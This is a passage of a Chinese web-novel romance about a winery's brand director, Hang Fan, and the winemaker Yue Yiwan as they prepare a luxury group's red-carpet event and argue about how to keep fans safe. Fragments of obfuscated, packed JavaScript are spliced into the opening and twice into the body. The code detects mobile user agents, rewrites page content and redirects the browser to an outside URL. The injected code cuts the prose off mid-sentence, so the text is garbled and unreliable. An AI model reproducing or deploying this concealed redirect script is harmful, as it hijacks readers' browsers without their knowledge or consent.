l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15703254|169300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 异实验,岳大师在嘴上也要继续得寸进尺:“不过,那要看是什么人和什么葡萄放在一起对比了。比如说,你现在要是把宵夜喂进我嘴里,我明天就可以给你颁发本年度的‘比葡萄更值得喜爱’奖——” 冷笑一声,杭帆把宵夜连锅带碗地全部端走。 玩笑归玩笑,杭帆也很清楚地知道这一点:不同于成日里挂在嘴上的那副“只爱葡萄不爱人”的酿酒大魔王口吻,岳一宛在乎那些从葡萄田里经过的人,并不亚于他珍视地里的那些葡萄。 无论他们熟识与否。 “我从一开始就不赞同你们来斯芸办这种大型活动。” 距离今年的“罗彻斯特不眠夜”还有不到一周的时间,杭总监搜刮了当地的好几家摄影器材租赁店,才终于借到了数量足够的设备。 为提前测试各种型号的摄像工具及麦克风等配件,杭帆征用了酒庄的各个室内空间,到处都被布置得像是重大外交新闻的发布现场。 在反复组装与拆卸过程里,他累得几近虚脱。为了能让活动当天的直播不出岔子,也为了完成于自己有知遇之恩的Miranda的托付,实在借不到人手的小杭总监只得自己咬着牙硬上。 捱过这几天就好了,杭帆对自己说。再忍一忍。 他蹲在走廊上,一手检测着设备,一手剥了根能量棒塞进嘴里——身为斯芸酒庄的门面,岳大师这两天正忙着和“罗彻斯特不眠夜”的现场执行部门开会,徒留一个擅长自我糊弄的杭总监,一天三顿都靠代餐粉和小零食来度日。 刚把嘴里的能量棒嚼到一半,建筑的侧门边就传来了一道熟悉的声音。 “我知道你也是好意。是的,斯芸的葡萄藤非常珍贵,现在也确实是葡萄抽芽长叶最关键的时期。站在酿酒师的立场,我厌恶任何有可能破坏葡萄田的愚蠢行径。如果我有一票否决的权力?那你们根本就没有机会来斯芸办什么‘罗彻斯特不眠夜’。” 直截了当到令人有些下不来台的说话方式,毫无疑问的就是岳一宛本人。 “但我们在说的是一群追星小姑娘。不是一群能够踏平山头的野猪,更不是什么疯狂的亡命歹徒。”他说,“如果你们要让农户们带着猎犬来撵人……哎,话说在前,暂且不论农户们自己同意不同意吧,我们斯芸可没有用来支付这部分费用的预算哈。” “——但对于那些小姑娘而言,穷追猛打至此,是不是也有些过度羞辱的嫌疑呢?” 不过是寥寥几句,杭帆却已经完全明白:这是在谈活动当天的现场安保问题。 将狂热的粉丝清离现场,向来是“罗彻斯特不眠夜”等红毯活动的标配流程。 可斯芸酒庄本就不是为了举办这样的大型活动而设计的。此地三面环山,仅有的一圈金属雕花栅栏大概也只起到纯装饰的作用,要想如同绝壁堡垒一样严防死守着不让任何外人混入其中,这简直就是痴人说梦。 “大晚上的,葡萄田里既没有灯,又处处都是陡坡。只要一脚踩空,就可能立刻从山边跌落。” 岳一宛措辞严厉,可话语下的真心,却比一切虚伪空洞的口号都更加沉重温柔。 “人的生命只有一次。而葡萄每年都会再度发芽结果。孰轻孰重,你们应该自有分寸。” 60.俱是梦中人 “你可以说她们年轻不懂事。但谁在年轻的时候没有干过蠢事?斯芸酒庄不是警察,更不是法官,我们没有资格在事情发生前就觉得她们活该吃点苦头。” 岳一宛的声音从侧门外传来,态度已然有些开始不耐烦了。 在对话中断断续续响起的,是一位男性执行助理的声音。但说来说去,那也不过是一些罗彻斯特内部惯用的推诿话术。 噗嗤一声冷笑,酿酒师再度以挖苦的语气开口。 “大人物的命是命,小姑娘们的命也是命。”他说,“我看不出来这有什么不一样。” 悄悄收拾好他的各种设备,杭帆默不作声地从走廊边离开。 地处起伏丘陵之中的斯芸酒庄,门口只有一条盘桓蜿蜒的公路,姑且能算是进出酒庄的方向指引。 “因为车辆只能开到现在这个位置,流程上也是这么安排的。” 站在公路旁边,杭总监一手拿着酒庄地图,一手指向身边的酒庄界碑:“艺人必须要在这里下车,步行走到酒庄与水上舞台的区域。所以我们的红毯可以增加一段,直接从酒庄界碑边开始铺,直到与舞台红毯签字区域汇合。” “虽然布置上是会稍微麻烦一点,”他说,“但我觉得这样的效果会更好些。您认为呢?” 两人在这段路上来回走了十几次,罗彻斯特不眠夜的总负责人终于沉吟着点头。 “确实,红毯变长,对我们和艺人来说都是件好事。” 负责人女士是位经验丰富的老手,已经为集团策划筹办了近百场大型活动。种种细节背后的各色用意,自然无需旁人再与她多做解释:“这样一来,经纪团队可以抓拍出更多的红毯照,我们也不必再担心艺人会为了摆拍造型而在红毯上‘撞车’。” 杭帆只是笑笑,心想,自己绝不可能是第一个想到延长红毯的人。 多一事不如少一事,这是绝大多数社畜的生存准则。而杭总监自己也不是因为吃饱了撑的,才非得这样低声下气地去插手现场执行部门的工作不可。 “然后,我想,既然咱们现场会有好几个直播机位,”他说,“何不把一些机位布置在红毯附近,让艺人在路过镜头的时候向大家打一下招呼呢?” 总负责人女士笑了。 “杭总监,咱们打开天窗说亮话。”她说,“您通过Miranda女士牵线,私下找我相谈,想说的应该不是这种连实习生都能想到的小事吧?” 小杭总监耳根发烫,面上却是一副四平八稳的镇定神情。 “抱歉,”他道,“那我就有话直说了。我建议让艺人与直播镜头多多互动,除了有直播流量的考虑外,也希望能借此牵制追来现场的狂热粉丝。” 四月末的午后,洒落在身上阳光已经开始有了实质的热量。 高低错落的田块里,葡萄正安详地吐露着嫩绿的新芽。农人们零星地散落在密布成行的葡萄架之间,仔细端详着每一棵生机勃勃的藤株,延续着春季的剪枝工作:枝条长势特别旺盛的植株需要被再次修剪,以防提前消耗掉了葡萄果实生长所需的养分,而那些长势柔弱的植株,则需要更多的关心与呵护,观察是否有病菌与蚜虫侵入的迹象…… 这是一片忙碌的土地。这抹淡雅的新绿色彩,是经由无数劳作之人为其倾尽心血,才得以绽放在藤条之上的。 “无论是举办‘罗彻斯特不眠夜’,还是使用直播这个方式,最终的目的,都是想要艺人的粉丝来‘看’。”杭帆说,“而狂热粉丝来到现场的目的,就是因为无法满足于只隔着屏幕‘看’。” 而这就会产生一个悖论:你不可能在让粉丝“看到”艺人同时,又让粉丝完全不生出想在现场亲眼“看到”艺人的念头。 “人心天生就是叛逆的。” 杭总监解释道:“越是得不到的东西,就越会想要。越是蛮横地驱赶粉丝离场,就越会给他们以‘我要勇敢地去见TA’的动力。” 有些话,由主办方来强调一万遍,也不如艺人亲口讲一遍来得有用。 在地图上勾出了数个红圈,杭帆说:“这几个点位我都已经测试过了,可以很方便地连上酒庄内部的电路,灯光布设也会相对容易。在保证拍摄效果的前提下,这附近的地形也都比较安全。如果我们把机位放在这里,让走红毯的艺人在镜头前停下来与直播互动,然后——” “然后,那些追到现场来的粉丝,就会想要让偶像对着自己挥手,而自动聚集在镜头附近。” 总负责人女士替他做出了犀利的总结:“比起让粉丝们漫山遍野地到处乱钻,倒不如利用镜头做诱导,来把他们固定在特定几个位置上。” “对斯芸酒庄而言,这是能够方便地把损害控制在最小范围的方法,是不是?” 姜果然还是老的辣,杭帆的计划竟一下子就被她看穿了。 “是的。”已经准备好了全套说辞的杭总监,半点也不怵地继续道:“但这也同样是为了‘罗彻斯特不眠夜’的长远利益做考量。” 过去三个月里,他已经爬上奔下地跑遍了斯芸的全部葡萄田,甚至连临近酒庄的地块也都有所涉足。 杭帆有十足的把握来宣称,自己对于这片土地的熟悉程度,远超过现场执行部门的任何一个人。 “这里是斯芸酒庄,到处都是无边无际的农田。”他说,“那套坚壁清野式的安保手段,或许能在体育馆与大剧院里无往不利,但在这里却是行不通的。” 你要如何给纵横百里的田地筑起高墙? 你要如何给旷阔无垠的丘陵加上盖子? “斯芸酒庄地形复杂,发生任何意外,都有可能形成严重的负面舆论。”杭帆耸了耸肩,“上一届的‘罗彻斯特不眠夜’,已经因为安保与粉丝产生肢体冲突而上过一次热搜。这样的恶性新闻如果再来一遍,下一届的活动恐怕就……” “行吧,你说得有道理。” 把手插在西裤口袋里,总负责人女士抬眼看着他:“你的建议,我会带回去和团队研究一下的。” 杭帆微微俯身,向她致意:“谢谢您。” “但别期待我能给你任何的保证。”说着,她停顿了片刻,又道:“其实比起这个,我更好奇的是杭总监你。” 随意地将手一挥,负责人指向他们这片身后辽阔起伏的山峦:“你为什么要在乎这些?” “被挟私报复,从上海调岗到这种荒山野岭里来的你——斯芸酒庄如何,与你何干?‘罗彻斯特不眠夜’的绩效与未来如何,这又与你何干?” “我认识Miranda很多年了,她才不是那种会无偿替人牵线搭桥的大善人。能说动她来给你帮忙,她一定向你要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“有些人天天熬着大夜嗑代餐粉,怕是什么时候把自己累死了都不知道。” 在桌上搁下一碗山药南瓜羹,岳大师啧啧摇头:“拯救一下自己的血糖值吧,杭总监。我是真的怕你一不小心就猝死了。” 略感心虚地,杭帆闭上了嘴。 “罗彻斯特不眠夜”还有十八个小时就要开幕,这是杭总监现在唯一能够记得的事情。 至于自己上一次吃饭的时间?这些无关紧要的琐碎早就从他的脑子里消失了。 “唉,爱卿倒是还记得‘睡觉’两个字怎么写哪?” 某位兼职首席酿酒师的送餐小哥连声感叹曰:“一想到爱卿正在夙兴夜寐,朕哪里还好意思独自梦会周公?这不得赶紧爬起来犒劳三军将士,以期早日安疆复国、平叛定乱……” 在此人的招牌式胡言乱语里,杭帆潦草地点头应和,三下五除二地就把一整碗甜羹都给送进了胃里。 “睡一会儿吧,杭帆。” 在蜂蜜与南瓜的柔美甜味里,岳一宛嗓音低敛而温和,如同暮春的露水姗然抚过玫瑰花瓣。 “不用担心,我会叫你的。” 61.世界的常态是混乱 温暖的羹汤流入脏腑,如同一个熨帖的怀抱,令杭帆自然而然地生出了倦意。 “你没有在宵夜里下蒙汗药吧?” 嘴里的牙膏泡沫都还没有吐掉,小杭总监的意识已经开始模糊:“让我先……睡一会儿,八点、不,六点,麻烦喊我起来……” 占据了书桌椅子的岳大师义正词严,表示自己是在社会主义红旗下长大的、具有良好法治意识与基本道德水平的成年人,绝不会搞下药偷袭和趁人之危的那套把戏。 “但如果你需要的话,”这人踊跃地想要提供另一些合法性较为可疑的帮助:“我的自由搏击学得也还不错。只要一下,保管比安眠药好使多了。” 然而,已经陷入半梦游状态的杭总监根本听不见他在说什么。同手同脚地爬上了床,杭帆一头埋进了鸭嘴兽抱枕的毛绒肚皮里。 “晚安。”他含糊地嘀咕一声,立刻就掉进了迟来的睡眠之巢。 酿酒师站在床边,就这样看着他熟练地把身体嵌入进十几只毛绒玩具中间,继而又安心地把自己盘成熟睡的一团。 这简直就像是回到了熟悉领地的猫啊,岳一宛暗自失笑。 “晚安,杭帆。” 小心地摁熄了点灯,他轻轻带上门。 深谙自己起床困难的这一弱点,杭帆几乎从不在重大活动之前补觉。 自开幕前的七八个小时,现场的所有工作人员就已开始了最后的夺命冲刺。音响和摄影设备的最终调试,帮助需要彩排的艺人登场走台,临时需要签署的文件更是像雪片一样纷落下来…… 自知无法被手机闹铃所战胜的杭总监,通常选择狂灌黑咖啡与能量饮料,直接硬熬到工作结束。 偶尔也有过一两次,苏玛与其他同事们自告奋勇,说杭老师先去睡吧,到点了我们一定叫你。可闭上眼睛,杭帆心头闪过的却是一桩桩悬而未完的待办事项,以及“万一他们忙忘了怎么办”的淡淡恐慌。 每一场光鲜亮丽的品牌线下活动背后,都是数个工作团队在人仰马翻中的极限作战。而杭帆毫不怀疑,以现场的极致忙碌程度,别说是忘记叫醒自己上工,就算是他默默地在现场嗝屁成了一具尸体,也未必能在第一时间被发现。 最后,他只能咬着牙爬起来继续硬熬。 但唯独对岳一宛,杭帆怀有百分之两百的信心。 他信任对方必定会履践对自己的承诺,就像是深知太阳明早依旧会从东方升起一样。 陷入沉眠之前,小杭总监的最后一个念头是——呃,岳一宛不会用上冰桶与冰块之类的杀伤性武器吧…… “杭老师!” 早上十点,搭乘当日最早一班飞机落地烟台的苏玛,连滚带爬地从出租车上冲了下来:“杭老师,我来替你的班了!这是咖啡和蛋糕——诶,你还活着啊?” 睡完一觉醒来的杭总监,又被岳一宛投喂了早餐与果汁,此时正与舞台音响团队讨论直播相关事宜。 听见自家实习生的大逆不道发言,杭帆满脸莫名:“……我要是已经死了,你还给我带咖啡做什么?” “嗯,这个嘛……”小姑娘心虚转起了眼睛,“以前每逢这种场合,杭老师你都半死不活的,像是吃到大蒜的吸血鬼一样。所以我还以为您今天也……” 你可盼着我点儿好吧!杭帆无语。我这都是教出来了个什么人哪? 罗彻斯特集团的大中华区,下辖有美妆、时装、酒业、珠宝与零售这五个专营不同类目的子公司。斯芸酒庄虽是归属于罗彻斯特酒业麾下,但今晚的“罗彻斯特不眠夜”,最能够抢尽风头的品牌,自然当属时装与珠宝这两个部门。 “华服珠宝,这可真是最直观的‘奢侈’呀。” 从包里掏出了笔记本电脑,苏玛一边给设备插上数据线,一边无不羡慕地望向现场里最显眼浮华的几个品牌logo:“看看人家时装部门,一年到头,光是基础款手袋就不知卖出多少个亿……哪像我们这些卖酒的,累死累活一整年,业绩还不如人家打折季的零头。” 舞台上,交响乐团正在配合调试麦克风的收音效果。杭帆戴着单边耳机,眼都不眨地盯着音响团队的监控器屏幕:“哦?好像确有此事。” 睡眠充足的小杭总监,精神状态都比往常优越许多,甚至还能顺嘴开个玩笑:“那你今天可不得好好表现表现。万一有时装部门的大佬慧眼识金,把你挖去他们那里工作了呢?” “哎哎哎,杭老师,这话可不兴说呀!” 苏玛抱头哀嚎,“你没听说过吗?他们时装部门号称学历绞肉机,连无法转正的实习岗都能有五百个申请者,还是人均211起步,藤校多如过江之鲫的那种……唉,眼看着我都快在罗彻斯特酒业里熬出头了,这要是去了时装那边,又得掉成食物链底端的小虾米!” 她坚定宣称,自己只想做繁华CBD里的白领丽人,而非是二十四小时灯火不熄的办公室女囚。 “而且,我是绝不会抛下杭老师的!” 在杭帆神色复杂的瞥视下,小朋友赶紧拍着胸脯表忠心:“等我下半年转了正,年假旅游用的第一笔‘潇洒资金’,可都还全指望着杭老师给的外快呢!” 怀揣着十二万分的疑惑,杭帆问:“罗彻斯特酒业的加班情况,有比他们时装部门好很多吗?” 苏玛骨碌碌地转动着眼珠,心道,瘦死的骆驼比马大。只要您现在就放弃做卷王,咱们师徒俩就能立刻躺得比砧板上的死鱼还要平…… “地狱与地狱,亦有不同。” 实习生委婉地解释道,“我目前还只是身在地狱一层,而隔壁搞时装的至少已经在地狱九层了。” 而杭老师您可是自愿下到地狱十八层的,她在心里小声地哔哔。 也不知这斯芸酒庄到底给你下了什么迷魂药! 这天中午的工作餐是执行部门给统一订购的盒饭。 五月初的蓬莱产区,风自渤海吹来,飒飒地掠过暮春的丘陵。盒饭分发到手,早已凉得像是盆隔夜的剩菜。 “这是人该过的日子吗?!” 努力地往嘴里扒拉了两口冷饭,苏玛整个人都肉眼可见地蔫了下去:“我今天可是四点出门赶飞机的耶!公司就给我吃这个?!” 熟门熟路地,杭总监从风衣口袋里掏出一大把零食扔了过去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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卧槽,还要半小时,你们早干吗去了?!无比抓狂的杭总监在心中尖叫,这还能叫草台班子吗?我给草纸刷层糨糊都比你们更牢靠些! 此时,距离“罗彻斯特不眠夜”的正式开幕,只剩下不到四个小时。 杭帆跑过前厅,穿过走廊,撞进自己的员工宿舍,花五分钟时间匆匆洗了个战斗澡,迅速换上了衣柜里的唯一一身正式晚装。 他正在镜子前扣上衬衫扣子,工作群里突然响起惊慌的语音消息,说红毯那边已经有车来了,但现在根本腾不出人手去接待啊! 戴上领结的时候,前线更新传报,说太好了车上坐的只是罗彻斯特自家品牌的高管,不是艺人也不是VIC客户…… 在大脑紧张到极点的时候,杭帆反而真的会因为工作的荒诞而笑出声来。 “在笑什么呢,杭总监?” 两下敲门声之后,那扇贴有潦草熊猫明信片的门扉倏然洞开。 身着纤尘不染的白色正装,岳一宛噙笑站在他面前。 俊美,英隽,如同天神降临。